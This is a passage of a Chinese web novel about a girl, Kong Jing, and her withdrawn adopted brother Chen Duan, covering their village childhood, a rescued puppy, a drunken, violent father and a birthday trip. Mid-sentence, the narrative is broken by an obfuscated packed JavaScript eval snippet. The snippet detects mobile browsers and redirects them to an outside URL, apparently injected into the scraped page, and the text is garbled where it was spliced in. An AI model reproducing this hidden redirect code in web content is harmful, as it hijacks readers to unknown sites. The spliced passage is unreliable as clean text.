孔净不想回答,因为阿禾的声音真的很大,被陈端听到她们在议论他,好奇怪。 可是阿禾一点自觉也没有,从孔净这儿没得到回应,咽下嘴里的食物之后,举起手里的筷子兴高采烈地转过身,“陈端!你要不要吃蚵仔煎?我分你一点好不好?作为回报你把你的分给孔净——她超想吃你带的饭!” “胡说!我没……咳咳!”孔净被呛到,阿禾手忙脚乱帮她拍背。 教室后排传来椅子腿划过地面的声音,阿禾实时播报,“他出去了耶,好冷漠哦。” 孔净把她一心二用快拍到自己脸上的手拂开,小声吐槽:“拜托,谁要吃他的!都是我妈妈做的,一点没差好吗。” “我知道啊。” “……” 孔大勇嘱咐过孔净,陈端不识路,放学后要领他一起回去。 下午放学,孔净斜坐在座位上慢吞吞地收拾书包,视线装作不经意地朝后排方向扫去。 阿禾急着回家去田里打鹅草,晚了会被阿嬷骂,她背着书包双脚高频率跺地就像尿急,“快点啦孔净!陈端已经走了,你还在等什么!” 孔净一愣,回头,正好看见背着淡蓝色书包的单薄背影走出后门。 孔净赶紧把习题集塞进书包,一边拉拉链一边起身,但是又不能表现得太急,好像她很想和他一起回家一样。 等孔净又急又不急地走出教室,陈端已经不见了。 孔净顾不上和阿禾说再见,飞快从操场后门的石阶跑下去。 可是一路上哪里还有陈端的身影! 最糟糕的是,她回到石厝也没有看见他。 晚霞映红了西边天,孔净飞奔回学校的小路,这个时候两边田地里劳作的村民已经陆续归家,不远处的林子鸟叫声声、树影昏暗。 孔净又害怕又着急,就在她快要急出眼泪的时候,一个单薄身影从前面高一些的田埂上站了起来。 孔净仰头,声音很闷:“你在这里做什……” 她注意到陈端走路的姿势有点奇怪,身影被田埂边长势茂密的野草半遮,跳下小路上时左边裤管抻起,露出一截的小腿布有红紫淤青。 “你摔倒了?”孔净睁大眼睛立刻跟上去。 陈端抿着唇艰难保持着走姿,眼里像是根本没有孔净这个人。 孔净烦透了,“谁让你先走的!爸不是让你等我吗?” “我跟你说话,你听不见吗?” “要不是怕被爸爸骂,我才不会回来找你!” …… 孔净气死了,无论她说什么陈端都装听不见,他是不是聋的啊?! 她很想越过他快点回家,可是几次加快脚步又都慢了下来。 好可怜。 先前阿禾的话在孔净脑海里飘过,她老成地叹一口气,东扯扯草西打打蚊子,为照顾前面“负伤”的人散步一样缀在陈端身后。 黄昏的橘红日光把两个小孩一前一后的身影拉得很长,融进夏末的田野里。 接下来的日子,陈端也都是一放学就走。刚开始孔净怕他迷路,要么追,要么蹲在半道上等,要么回家之后又没见到人,只得像开学第一天那样气哄哄地回去找。 但无论是以上哪一种,陈端都没有对孔净表示过哪怕一丁点的感谢或者歉意,更别提主动和 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孔大勇想了想,也是,他把嘴一咧,很双标地感叹:“男子汉生来就是要忍受孤独!” 李贤梅听着这不知从哪部古惑仔电影里听来的台词,忍不住翻了个白眼。 她私下对孔净说:“别听你爸的,你做得对。” 孔净倍感迷茫,她其实什么也没有做。 正因为放弃了做点什么的权利,所以她才会闷闷不乐并且受到孔大勇的苛责。 孔净从小就没有过生日收礼物的记忆,可是开年之后在她十岁生日之前,她大着胆子询问李贤梅,她今年能不能许一个愿。 李贤梅以为孔净要买东西,却听见她说想再铺一张床,自己睡,不分给别人。 李贤梅终日在厂里忙得脚不沾地,孔大勇又总不在家,他们对孩子的管教只能算得上管吃管住有学上,再多就没有了。 以至于陈端来了半年多还是和孔净挤一张床,并且至今没有分配到一个像样的枕头。 想到两个孩子再小也男女有别,李贤梅爽快答应了孔净的要求,没过几天就让两个工人把一张上下铺的铁架床搬进石厝,换掉了孔净以前那张架在四根石条上的木板床。 铁架床是从附近中学宿舍淘汰下来的旧货,生了锈,四条腿不齐,就算垫了石块和硬纸片,上下人时还是会发出咯吱咯吱的细响。 但是孔净很高兴,她睡下铺,陈端睡上铺,她再也不用和讨厌的人共享一个私密空间了。 名义上是姐弟,但任何场合无论是在家还是在学校孔净和陈端都像陌生人一样,一过就是三年多。 孔净十二岁,陈端十一岁,他们一起上了六年级,还是同一个班。 如果没有后来的小插曲,孔净觉得他们或许会永远保持这个模式。 但人生就是这样,总有意外发生。 5. 第 5 章 昨晚忽然下了场大雨,风把窗外那株黄葛树的枝丫都吹断了一根。 早上起来已经放晴,孔净上学时远远看见不远处的林地里影影绰绰围了许多村民,她因为怕迟到所以没去凑热闹。 到了教室,阿禾神秘兮兮地问孔净想不想长见识。 做了快四年的同桌,孔净一看阿禾的表情就知道有诈,“不想。” 阿禾点点头,“你想!非常想!” 中午放学,阿禾盯着孔净快点把饭吃完,连饭盒都没来得及洗两个女孩子就手牵手飞奔出校门。 林地里围观的村民要比早上那会少了许多,却聚了许多同样来“长见识”的小学生。 孔净站在外围,听见前面的学生发出一阵阵讶异和害怕的吸气声。 孔净悄声问阿禾:“里面在做什么?” 阿禾一副见惯了的表情:“捡骨啰。” 孔净还没把这两个字和脑海里的词库对上号,视线透过晃动的人缝看见最里面有个穿道士服的男人,把一张点燃的符纸朝空中一甩,然后对着飘飘下落的灰烬作了个揖之后,俯身小心翼翼地将本来埋在地里但因为雨水冲刷而露出一半的陶罐掀了开来。 罐子里的东西一霎暴露在眼前,空气瞬间像是凝滞了,然而很快,小学生们此起彼伏发出惊呼,并且因为害怕三三两两推搡着往后退。 孔净脑袋空白一刹,因为画面太突然,远超她所能承受的范围,她目光呆滞被钉在了原地。 “我、我想尿尿……” 同样目睹那个画面的阿禾手脚发软,脸色惨白地碰了碰孔净。 孔净如梦初醒,沉默地拉着阿禾转身离开。 两个女孩子完全没了来时的兴奋,她们脚步虚浮,眼神发虚,已经进了校门口了还是感觉后背发凉,好像那片林地的树荫尾随还笼罩在她们身上。 孔净陪阿禾去教学楼后面的公用厕所,阿禾没忍住,站在水槽前“哇”地一声就吐了。 孔净也没好到哪里去,整个下午都神游太虚,恹恹的像生了一场重病。 下午放学,孔净挣扎地回头看了眼后排陈端所在的方向,张了张嘴,最后还是忍住了。 她背着书包满怀恐惧地回家,途经那片林地,她头也不抬地盯着脚下的路以最快的速度迈动步子,几乎变成了顺拐。 陈端今天走得晚,在后面始终离孔净七八米远,他面无表情地看着前面的人埋头奔窜,青天白日活像有鬼在追她。 晚饭时,孔大勇也在,李贤梅今天给厂里工人结算工资时出了一点小差错,孔大勇在外人面前向来把霸||权主义发挥到极致,当即就骂了李贤梅一句,“瞎了眼睛!” 李贤梅和以前一样没回嘴,但是心里一直憋着气,晚饭只有两个素菜并且在放盐时都不甚手抖。 她见孔净捧着饭碗发呆,没好气地问:“怎么,嫌菜不合胃口?” 孔净摇摇头,顿了顿,把白天发生的事说了。 孔大勇呵笑一声,半是嘲讽半是玩笑地说:“你们胆子还大嘛!” 李贤梅觉得丈夫脸上的笑意尤其刺眼,她哼一声,“说谎也不打草稿!哪个信你!” 她说孔净是为了骗零食才不好好吃饭,还编出这种只在崂山道士电影里出现的阴森桥段。 孔净百口莫辩,她又不能领着李贤梅去林地里走一圈。 晚上要盯着工人们装货,李贤梅和孔大勇都去厂里了。孔净受了惊吓,又被李贤梅骂,晚饭只吃了几口。 夜里,她蜷缩在床上只觉得胃里一阵重过一阵地抽痛。 孔净在黑暗里一会儿睁眼一会儿闭眼,惊惧又痛苦地翻来翻去。 铁架床被她的动作弄出喑哑难听的响声,睡在上铺的人不堪其扰,终于,被子一掀,踩着侧边的爬梯几步就轻盈落在了地上。 孔净猛然看见蚊帐外出现一个灰白长条身影,身体本能地打摆子,在她惊叫出声之前,陈端走去摁亮了照明灯。 紧接着,传来铁门被打开又合上的声音,陈端出去了。 虚惊一场,孔净撑起的脑袋重重落在枕头上。 胃还是痛,她也还是怕,铁门和木窗都是镂空的,月光把不属于这幢孤零石厝的暗影邀请进屋,为孔净脑子里的鬼魅画面敲锣吹号。 孔净很想去厂里找爸爸妈妈,但是她不敢下床,床底下有只白骨森森的骷髅手。 她绝望地祈求,快回来个人,快回来个……活人吧! “咔哒!”铁门忽然被推开,孔净条件反射用力一颤,随即动作迅速地掀开蚊帐,“妈——” 穿白色短袖衣裤的小小少年对上孔净的视线,默然看着她眼里的光亮慢慢变暗。 他微微喘息着,走到铁架子床前,面无表情地将手里的东西递给孔净。 孔净看见透明塑料袋里装着的东西,惊讶地说不出话来。 陈端见她迟迟没接过去,就把袋子放在了她的床边。 然后两手一攀,又回到了上铺。 整个过程,他没有同孔净说过一句话。 塑料袋的提手有点潮带着余温,孔净根本想不到他是去哪里弄到一板止痛药以及一盒绿豆糕的。 这么晚了,斜坡下的那个小卖店早就关门了,而且李贤梅很少或者根本没给过他们零花钱。 孔净因为这突如其来的物资投递而忘记了床底下的骷髅手,她轻手轻脚地下去,用瓷碗倒了点暖壶里的热水,抠了颗止痛药服下。 她坐在吃饭的理石桌边,斜对着铁架床,捧着瓷碗的手是暖的,眼睫颤啊颤,视线终是越过碗沿如卷帘一般撩起,投向铁架床的上铺。 白色蚊帐里,小小少年盖着一条已经洗得脱了色的深蓝毯子,安静平躺,已经睡着了。 之后,陈端还是独来独往,好像那板止痛药和绿豆糕从来没有出现过。 或者说他那样做完全是为了让孔净安静下来,不要打扰他睡觉。 可是孔净却没办法再用先前那种冷硬的态度对他了。 经过几年的同吃同住以及同班,孔净其实已经大概摸出了陈端的脾性,他也许算得上孤僻,但从来不会像表弟赵长和班里那些男生一样揪女孩子辫子、放毛毛虫在别人的笔盒里,成绩虽然一直不上不下但老师布置的作业都按时完成,他不捣蛋不出风头,给口饭就吃,给张床就睡。 可以说安静得有点乖了。 但是孔净并没有像对女生朋友那样拿出绝对的热情来对陈端,她只是默不作声地暗自做些“小动作”。 比如早上装饭盒时会把 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阿禾拿起放在桌上的课本就往男生头上拍,她用闽南语凶神恶煞地骂道:“菜椒(菜鸟)!” 男生被打了也不生气,缩着脖子悻悻然去摸自己的脑壳。 孔净避免被他们波及,起身站在过道上,扶着桌子的时候视线往后排轻快一掠,陈端坐在座位上摸到桌肚里的折伞,脸上没什么表情,并不惊讶它是什么时候放进去以及谁给的,顺手就放进了挂在桌侧的书包里。 下午放学,孔净和陈端也并不结伴,回家的只有一条,两个身影一前一后中间隔着不远不近的距离,安静穿过夕阳洒金的田野回到厂区。 孔净发现很久之前陈端的身上就再也没有出现可疑的淤青,他的书包也不会再无缘无故被扔到窗外。 但她不知道陈端做了什么,能让学校里那帮连老师和家长都放弃的混混不但和他井水不犯河水,甚至有时还对他有些闪躲。 另一方面,因为陈端独来独往的做派,他不知不觉成了班里和低年级女同学私下谈论的焦点。 阿禾决定先下手为强,“等上初中,我要请陈端拍大头贴!” “这么有钱,不如请我吃仙草冻。”孔净埋头写作业,轻快搭话。 “仙草冻不用花钱,我阿嬷就会做!” “我知道啊,所以想吃。” “小意思啦,周六老地方见。我带上仙草冻,你带上陈端!” “突然不想吃了。” “吼!” 周六,孔净当然不可能叫上陈端,她提着一兜子杨桃脚步轻盈地朝森林里那棵芒果树进发。 然而,一个多小时后,她和接上头的阿禾跑出森林,鬼鬼祟祟地蹲伏在石厝的窗子外面,身后的阿禾快速伸头朝屋里看一眼,然后推推孔净,“快点啦!‘一条’要挂了!我们需要帮手!没有人比他更合适! “拜托,你爸爸是黑涩会老大诶!老大的女儿怎么可以见死不救!” 孔净:…… 半晌,她上半身往上拱了拱,从窗户边露出半个脑袋,清清嗓子,略显别扭又假装自然地冲屋里喊道:“陈端,那个、出来一下可以吗?” 6. 第 6 章 孔大勇和李贤梅照旧不在,屋子里安安静静的,不知道从什么时候开始陈端不再把所有闲余时间都耗费在电视上了。 他斜靠在铁架床的上铺,支起的一条腿上放着一本摊开的空白本,手里的铅笔在纸张上发出沙沙声。 他很专注,比平时写作业认真多了,孔净喊了好几声,他才迟疑地转头看向窗外。 斑驳的竹条窗扇半开,孔净的下半张脸被挡住,这显得她的眼睛尤其晶亮活泼。 这很少见,在此之前孔净从来不会这样绝对友善且坦然地看陈端。 隔着蚊帐看不清陈端的表情,但想也知道他大概是没表情而让人觉得冷淡的。 在阿禾和“一条”的双重注视下,孔净没办法,硬着头皮挤出一个笑容,形状似猫眼的眼眸温度和熙,和九月的天朗气清一样使人想亲近。 “你出来一下,就一下。” 孔净伸出一根细长的食指对着屋里的人晃了晃。 终于,白色蚊帐被掀起一角,陈端搁了笔本翻身下来。 孔净心想,还好,陈端没有让她在好朋友面前过分丢脸。 “你很有爱心对不对?”陈端刚走出门来,阿禾就咋咋呼呼地迎上去,“不要否认!当了这么久的同学我真的很了解你!我知道你一定会帮我们也会帮一条!” 阿禾一边说一边把怀里的小东西举起来,伴随着几声可怜巴巴的“呜呜”,陈端发现那是一条狗。 一条小小的可能才一个月大的黑狗,额头上一条白色竖纹。 “你看它好喜欢你!来嘛,抱抱它!感情就是这么建立的!” 阿禾热情至极,把一条往陈端面前塞。 在被小黑狗举起的肉爪子碰到之前,陈端往后退了一步。 阿禾看出陈端的抗拒,“吼!是我看错你了!长得帅但是没爱心的男生照样逊色!你完蛋了,我决定不请你拍大头贴了!” 孔净:……他好像没有说过很想和你去拍大头贴呢。 “一条受伤了,上次你从哪里买的止痛药?我们想给一条治疗。”附近没有药店和诊所,宠物医院这种高端场所她们更是听都没听过,镇里倒有医院但是很远。 孔净阐明需求,让陈端放心,她们不是要把一条甩给他。 阿禾特意把一条受了伤的后腿露出来,话说得风凉:“可怜的一条,幸运遇到我和孔净,但是又有什么用,人家陈端根本不想救你,铁石心肠!” “……”孔净跟陈端说,“你只要指一下路,我们自己带一条过去。” 面对阿禾和孔净天衣无缝的红脸白脸左右夹击,陈端顿了顿,出乎意料平静开口,“我带你们去。” 阿禾惊喜极了,她向陈端保证不等上初中了,过年拿了压岁钱就请他去玩! 孔净也很高兴,一蹦一跳走在陈端另一边。 可是她很快想到另一个问题,“你买药的地方贵吗?我没有很多钱……” 孔净每周末和阿禾相约森林老地方不光是玩,她们主要是捡一种能食用的蘑菇,切片晒干之后由阿禾拿去卖给村里专门收山货的阿伯,以此攒下为数不多的零花钱。 陈端却说:“不用钱。” 半个小时后,孔净和阿禾被陈端带进森林,站在开采石料留下的人造石坑前。 风过树摇,悬崖一般的巨大石坑让人眩晕。 孔净和阿禾知道这里,坑底目测比学校操场还大,垂直距离比六层教学楼还高,因为害怕掉下去她们每次都只敢远远看一眼就鸡皮疙瘩满身地跑开。 “等一下!!”陈端身姿敏捷地纵身一跳,孔净吓死了,“你小心……” 她趴在地上往下看,小小少年稳稳落在底下低一截的石台上,然后没有迟疑地往下接连跳去,初秋的阳光澄净鎏金,微风鼓起他的衣角。 很快,陈端的身影被错落凸起的石台遮住,然后又在碎石子声中折返。 陈端两手撑着使力同时身子往上一荡,像是会轻功一样就跃了上来。 他左肩上多了一只小号旧书包,孔净觉得这个包应该是他很小的时候背过的,红色布料已经褪了色但是打理得很干净,看得出来主人很珍视。 孔净有点奇怪,原来安静寡言的陈端以前也喜欢这种鲜艳张扬的色彩。 那么他是从什么时候又为什么不喜欢了呢? 陈端在树荫下找了块干净的石头,把包里的东西拿出来,一样一样整齐摆放,跌打喷雾、红药水、筋骨片、止痛药、纱布…… 阿禾惊呆了,“少侠,崖底是不是有一个洞,洞里有一只雕?!” 因为上下一趟耗费体力,陈端微微喘着气,净白的皮肤在阳光星斑下透着薄红,看起来要比平时有生气得多。 他没回答阿禾跳脱又喜感的问题,一条腿跪支在地上示意阿禾把小黑狗放下。 陈端利落地帮小黑狗检查后腿,判断只是扭伤之后用了点喷雾,以防小狗误舔喷雾中毒,他还从书包里翻出一本册子,撕下两页裁剪之后,配合胶带做了一个伊丽莎白圈套在狗脖子上。 阿禾佩服死了,她在请客拍大头贴的基础上加码舔上一支冰淇淋。 孔净思绪跑偏,想到陈端从来没同大人们说过他和学校里那些混混的纠纷,也许身上的伤都是来这里处理,这些药也是因此一点一点存下来的。 因为小黑狗额头上的白色纹路,阿禾在路边看到它的第一眼就给它取名“一条”。 一条是一只被遗弃的受了伤的小奶狗,阿禾不敢带回家,因为阿嬷讨厌狗,绝对不会准她养。 孔净也犯难,李贤梅也不喜欢狗。 两个女孩子对视一眼,都有些沮丧。 陈端把东西收回包里,扫见孔净低垂的眼眸不似刚才那样鲜活,不知道出于什么心理,他忽然说:“先养在这里吧。” “这里?哪里?!——崖底!真的有雕兄!!!” 阿禾跳起来,抱着一条围在陈端身边,认定他就是英雄。 陈端没有因为溢美之词而沾沾自喜,他安静从阿禾手里接过一条,然后小心把它放进包里。 孔净犹豫一瞬,在他再次跳下巨石坑之前喊住他,“你等会上来时把包背着……一条没洗澡,可能会弄脏你的包,我是说——” “对对对!我们帮你洗包!”阿禾反应过来,大力点头表示赞成。 陈端站在令人目眩的石坑边缘,回头看了眼孔净,大抵是孔净眼里的真诚一点也不掺假,又或者是刚才一块救狗的举动快速拉近了他们之间的距离,他第一次正面应了声,“嗯。” 孔净清亮的眼瞳微微睁大,对着陈端也第一次露出了百分百的笑脸。 孔净和阿禾决定先把一条安置在石坑底下,等周一去学校之后再慢慢询问班上有没有同学可以收养它。 但是这就意味着,在一条被正式收养之前,他们需要帮一条养好伤以及照顾它的饮食。 ……好吧,因为阿禾住在远离厂区的村子里,所以这个“他们”指的是孔净和陈端。 于是,两个本来相处别扭的小孩忽然有了一件需要互相协作才能完成的事情。 孔净每天早上装饭时,不仅要给陈端多分点,还要趁着李贤梅不注意偷偷给一条装一份。他们很有默契地像从前一样冷冷淡淡地前后走出石厝,拐过土包,确认不会被李贤梅和孔大勇发现之后,就会迅速结伴奔向森林里的巨石坑。 具体实施投喂的步骤自然落在陈端身上,孔净趴在石坑边看着他敏捷而轻盈地跳下去,在等待他回来的过程里,金色的晨光穿透薄薄的云层轻柔照亮整片森林,孔净忽然觉得这个像从山体身上活生生挖出来的巨大伤口一样的石坑其实也没有那么可怕了,反而有些奇幻,还很美丽。 由于班里迟迟没有同学给出肯定答复可以收养一条,阿禾只好把目标转向低年级的同学。 课间,阿禾和孔净徘徊在其他班级的门口,见着一个女生就问:“哈喽,你喜欢小狗狗吗?” 有次被一个老师撞见,还以为她们小小年纪就生出生意头脑在搞宠物贩卖。 阿禾只对同龄女生和看起来就没有什么伤害性的男生大大咧咧,面对让她有压迫感的人就会变成“软怂”,孔净被推出去,她对着老师审视的目光灵光一闪,冒出一句从新闻台学来的话,“其实、我们是在做民意调查。” ? 村校就这么大,孔净是少有的外地学生并且每次考试稳拿第一,没有哪个老师不认识她。 老师抬了抬眼镜,“这么厉害,你以后要不要当总统?” “额……”孔净说:“不是总统,是省长。” 老师哈哈大笑,“立场很鲜明嘛。” …… 总之,孔净和阿禾一直找不到妥善的人收养一条,她只好和陈端每天早晚两次风雨无阻地往返森林。 有次,李贤梅无意间远远看见孔净猫腰在土包后面等陈端,等到之后两个小孩相视一笑,默契非凡跑开的身影像两只快乐小鸟。 傍晚她从厂里回来,烧了半桶热水准备拎着去厂里的公用淋浴间洗澡,收拾衣服时眉头紧皱,她把孔净叫出屋,“你去小卖店买一包卫生巾。” 孔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317110|183059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净愣愣地看着李贤梅伸手递来的钞票,十分难为情。 过了年她就十三岁了,可是学校从来没给学生们上过生理卫生课,妈妈和厂里嬢嬢们若是说起相关话题也总是遮遮掩掩,这让身体已经出现某些小变化的孔净倍感迷茫和羞耻。 “这点事都办不到,我养你这么大有什么用?”李贤梅语气失望又生气,她冷哼道,“倒是背着我和外人走得近!” 孔净捏着李贤梅给的钱走去小卖店,一路上都没想明白妈妈口中的外人指的是谁。 黄昏时刻小卖店人头攒动,店门口几条长石上几个工人或蹲或站用手中的廉价啤酒慰劳一天的辛苦,里边小小的店面堆满各种杂货日用品甚至衣服,来买东西的男女老少几乎要将这处空间挤破。 孔净做贼一样从货架上拿了东西就往柜台前走,飞快把已经捏出汗渍的十元钞票扔给老板娘。 老板娘看一眼被她捂在怀里只露出一角的卫生巾,了然地对她笑笑,“大女孩了哦!” 孔净两颊要烧起来了,“不是我……” 老板娘做了个“安啦安啦别害羞”的手势,孔净快要昏厥。 抓起找零,以胃痛捂肚子的姿势藏住那包卫生巾,转身逃离。 李贤梅还没回来,孔净把找零和东西一并放在她床头用被子盖住。 听见背后有人出声,羞耻情绪还没完全消退的孔净差点弹跳起来。 陈端刚才出去了,回来就看见孔净鬼鬼祟祟背对着站在李贤梅和孔大勇的床前。 “孔净,怎么了?” 因为背着大人共同喂养一条的微薄情谊,陈端对孔净不再像以前那样寡言,但说的也不算多,并且他从来不喊孔净姐姐,清清淡淡的语气总是连名带姓。 “没、没事……”孔净欲盖弥彰地用手扇在脸边降温,一直被忽略的性别意识突然在此刻冒头,她对上陈端视线,才发现原来他的瞳仁不是全然的黑,而是从浓黑到深灰、浅灰,由中间向边缘过渡。 孔净看见他淡蓝牛仔裤两边膝盖泛白,是擦着石头被磨过的新鲜痕迹,于是顺畅转移话题:“你去看一条了?” 陈端说,“喂了根火腿肠。” 陈端不像孔净每周都去采蘑菇,但他似乎有一套自己的攒钱方式,不过孔净从来没有越界问过。 “它还好吗?”孔净问。 “嗯。” 孔净从床前走开,“我也想去看看它。” 窗外光线暗淡,最后一点橘光微弱地伏在西边的厂房上空,太晚了,她知道这个设想不成立。 陈端看她,“走吧。” 孔净惊讶,“可是……” “很快就回来。”陈端淡声一句,已经转身往门外走了。 孔净怔怔看向他的背影,心情一瞬雀跃起来,她快步跟上。 孔净只需要拿着手电筒坐在石坑上面等,等陈端把一条从底下背上来,她撸完小狗之后,陈端再把一条送下去。 整个过程没用半小时,孔净不用出半分力气,陈端上上下下仿若有求必应的阿拉丁神灯。 日暮时分的蓝调时刻,森林上空被淡紫和淡蓝晕染,两种颜色很快就会融为一体,揉成缥缈的冰蓝,这是独属于远离城市的夜晚色调。 森林里很安静,手电筒射出一束蓝白色光柱,随着孔净的步伐微微荡漾在回程的路上。 “一条会不会害怕?”孔净忽然问。 陈端走在孔净身侧,手电流动的光晕映出他已然褪去婴儿肥的侧脸,线条颇为流畅可观,孔净转头看一眼,意外他在不知不觉中已经长成了少年模样。 “不知道,”陈端说,“这个问题你应该问狗,而不是问我。” 孔净“啊”了一声,“又没人说你是狗……你脑回路好好笑!” “可能吧。” “可能?原来你都知道啊!”孔净问他,“你小时候就是这样吗?我是说更小的时候。” 陈端说:“不记得了。” “你记性好差!” “我觉得还好。” “哈哈!”孔净被戳中笑点,因为她能感觉到陈端并不想和她继续无聊的对话,但是孔净说一句,他还是会敷衍回一句。 就这样,在毫无营养并且有些鸡同鸭讲的对话中,他们在手电光柱的引领下走出了森林,石材厂机器加工板材的轰鸣声如潮水般涌来。 孔净转头看向身后似有鬼魅蛰伏的浓密树影,惊奇地想,她刚才不但没有很害怕,居然还笑得那么开心。 再回过脸来看看身边的人,奇怪,以前怎么会觉得他讨厌? 7. 第 7 章 孔净与陈端前后隔了十来分钟回到石厝,李贤梅已经洗完澡正在准备晚饭。 因为先前的事,李贤梅余气未消,又见孔净黑天了还往外跑,她“笃笃笃”地用力剁肉馅,“你还真是孔大勇的种!逮到机会就跑!外头有金还是有银?怎么没见你带回来一点!” 明明陈端比孔净回来得更晚,但是李贤梅只骂孔净。她的声音并不大,绵里藏针,孔净乖觉地过去帮忙打下手,李贤梅剜她一眼,“作业写完了吗就在这里晃!” 孔净轻声说:“写完了。” “写完了也不知道预习明天的课本。”李贤梅其实并不清楚上六年级的孔净在学什么知识,她在心情不好的时候会习惯性挑刺。 这时,孔大勇回来了,拎着两瓶冰啤酒和一小袋熟食,瞧一眼屋内,挺高兴的样子。 李贤梅就闭上了嘴巴,不再说什么。 孔净看一眼妈妈的表情,还是走到桌边坐下从书包里掏出语文课本,开始温习。 饭还没做好,孔大勇已经用筷子起开一瓶啤酒,仰头一口气灌下大半,看见靠在铁架床上铺的陈端,他笑呵呵喊道:“儿砸,下来陪爸爸喝一口!” 陈端来了三年多,孔净从来没听他叫过姐姐,也没听他叫过孔大勇和李贤梅爸妈。 孔净不知道李贤梅是怎么想的,但是孔大勇很在意这个称呼,刚开始会用各种玩具、零食诱哄陈端,后来急眼了就鼓起金鱼似的眼睛作势要打他。 孔净记得很清楚,有次孔大勇喝多了,一个巴掌扇过去,又脆又响,陈端脑袋一偏,身体不受控制地斜撞上铁门,巨大的一声“嘭!” 这一声把孔大勇惊醒了,他赶忙上前把陈端像小鸡仔一样扶正,“哪个喊你不改口,打痛没有?” 陈端没吭声,唇色惨白抿成一条锋利的直线,左边脸上鲜红的指印迅速膨起。 孔大勇见他这样倔强,忽然又高兴起来。 “是个狠角色,像我!” 后来他又强硬逼过陈端几次,可无论怎样打骂,陈端都只是沉默地全盘接受,并且绝不屈服。 孔大勇收起手里的皮带,喘着粗气哼笑两声,不得已,只好由着他去。 今天,孔大勇其实已经在外面喝过了,桌上这两瓶只能算是尽尽余兴,或者说是晚饭之前的开胃菜。 他喝多了之后话尤其多,脾气也相当怪,前一秒还嬉嬉笑笑,下一秒就有可能拍桌子打人。 他从不打李贤梅和孔净,因为她们是女人,孔老大混迹江湖多年这点原则还是有的。 但是陈端不一样,他是他孔大勇的儿子,是个男子汉,当然应该接受他的锤炼。 “儿砸快过来!”孔大勇又喊了一声。 陈端走过去的时候,孔净从课本上轻轻抬起眼睛,两个小孩的视线默契相接,孔净一瞬间觉得很难过。 但她弯起眉眼对陈端笑了一下,那是一种感同身受却因为还没长大而倍感无力的单薄笑意,轻得没有实感,像是窗外飘过月牙的云纱。 不过幸好,这晚陈端没有挨打,孔净也没有再被责骂。 转眼到了春天,刚开始是忧愁找不到收养人,慢慢地,一条从一只不到小臂长的小奶狗长成了威风凛凛颇具雄姿的大黑狗。 “呜呜,我舍不得一条了怎么办?”阿禾趴在石坑边缘看着一条在下面欢快地追逐小鸟,听见陈端吹了声口哨,它立刻收起玩心朝他跑去,聪明得不像话。 孔净也有相同的心理,可她还是理性地说:“还是要帮他找到好人家,上初中要住校,我和陈端不在,没有人每天给它送饭,它会饿死。” 这学期读完,他们都要去另一个村子上中学了。 阿禾点点头,“那我们再加油努力看看,一定要给一条找个好归宿!” 孔净即将满十三岁,孔大勇偶然听李贤梅提起时有一瞬间的错愕,“长这么快。” 他大概是想起了孔净出生时软软小小的一团,于是久违地涌起了父爱:“明天是周六,爸爸带你们出去吃蛋糕过生日!” 孔大勇已经很久很久没有带孔净出去过了,听他主动提起,孔净表面上不再像小时候那样欢呼雀跃,心里却和从前一样高兴。 周六,孔净起得比平时还要早,匆匆跑去洗脸刷牙,听见孔大勇在外面问:“端端呢?” “哪个晓得。”李贤梅正在做早饭,头也不抬地回。 孔净把牙缸和洗脸盆放回屋里,转头看见铁架床上被褥叠得整整齐齐,惯常隔着白色蚊帐靠在床头写写画画的少年却不见了身影。 吃早饭时陈端也没有回来,孔大勇吸溜进一海碗面条之后去厂里转了一圈,再回来时脸上带着愠怒。 李贤梅没好气地说:“腿长在他身上,今天又不上学,你管他去哪里。” 她不是为陈端说话,而是看不惯孔大勇对陈端的宝贝样。 李贤梅看见孔大勇背着手又要走,胸腔里突然窜上来一把火,“你不是要带孔净去过生日?说话就要算话!陈端不在,孔净就不配过生日了?你别忘了哪个才是亲生的!” 她收了孔净的课本,把她推出铁门,推到孔大勇的摩托车旁,一副“你今天不带她出去就没完”的架势。 孔大勇虽然混,但有时也会充满“情趣”地对李贤梅适当服一下软,比如现在,他扔了烟头就跨上摩托车,油门一轰,“听你妈妈的!走孔净!爸爸带你出去耍!只带你!” 摩托车把孔净带出厂区,在轰隆声中驶上马路,红瓦石厝和绿油农田在两旁匀速倒退,春日的风吹乱她的马尾。 孔净在蜜蜡色的阳光中眯起眼睛,某一瞬间一个猜想没有来由地挤进她的脑海,也许,陈端在这个约定好的早晨突然从家里暂时消失,只是为了创造她第一次和爸爸单独出去过生日的机会……? 孔净在猎猎暖风中抿了下唇,她因为这个猜想感到后悔,后悔刚才没有出去把陈端找回来。 小孩子就是这么奇怪,陈端被孔大勇突然领回家时,孔净只觉得领地被侵占,极其不情愿有另一个人也来做爸妈的孩子,几年过去,他们不见得已经建立起姐弟情谊,可是在孔净终于有机会和爸爸一起外出时,却产生了因为抛下陈端而不忍的心情。 孔大勇把孔净带到镇上,找到一家蛋糕店让她选中哪个就买哪个。 隔着一层有些泛黄发旧的亚克力隔板,孔净眼睛晶亮一眨不眨地看向里面那些花花绿绿的蛋糕模型,最后选了款水果蛋糕。 她小声询问老板蛋糕上面的巧克力球能不能多给,“我们家一共有……四个人。” “可以。”老板说,“要加钱,一个两块。” 这在孔净看来很贵,可是她犹豫片刻还是决定去向孔大勇多要六块。 孔大勇在蛋糕店外面抽烟,摩托车横斜停放挡了车道,一辆黑色轿车落下车窗,司机听见孔大勇带着浓重外地口音的普通话,嫌恶地用闽南语骂了一句脏话。 很难听。 孔大勇扔了烟头几步走过去,一边扶走摩托车一边转头对轿车里颐指气使的司机点头嘿笑。 孔净站在蛋糕店敞开的门前,脑袋空白,无比惊愕地看着这一幕在眼前发生。 “我爸爸是……老大。”这句话在她脑海里闪现,然后变成虚影闪动,最后“噗”的一声,所有画面变成黑屏。 后来孔大勇又带孔净去菜摊上买了些平时不会买的食材,活虾、鱿鱼、牛肉…… 孔净应该高兴的,可是她心情沉重,很难受。 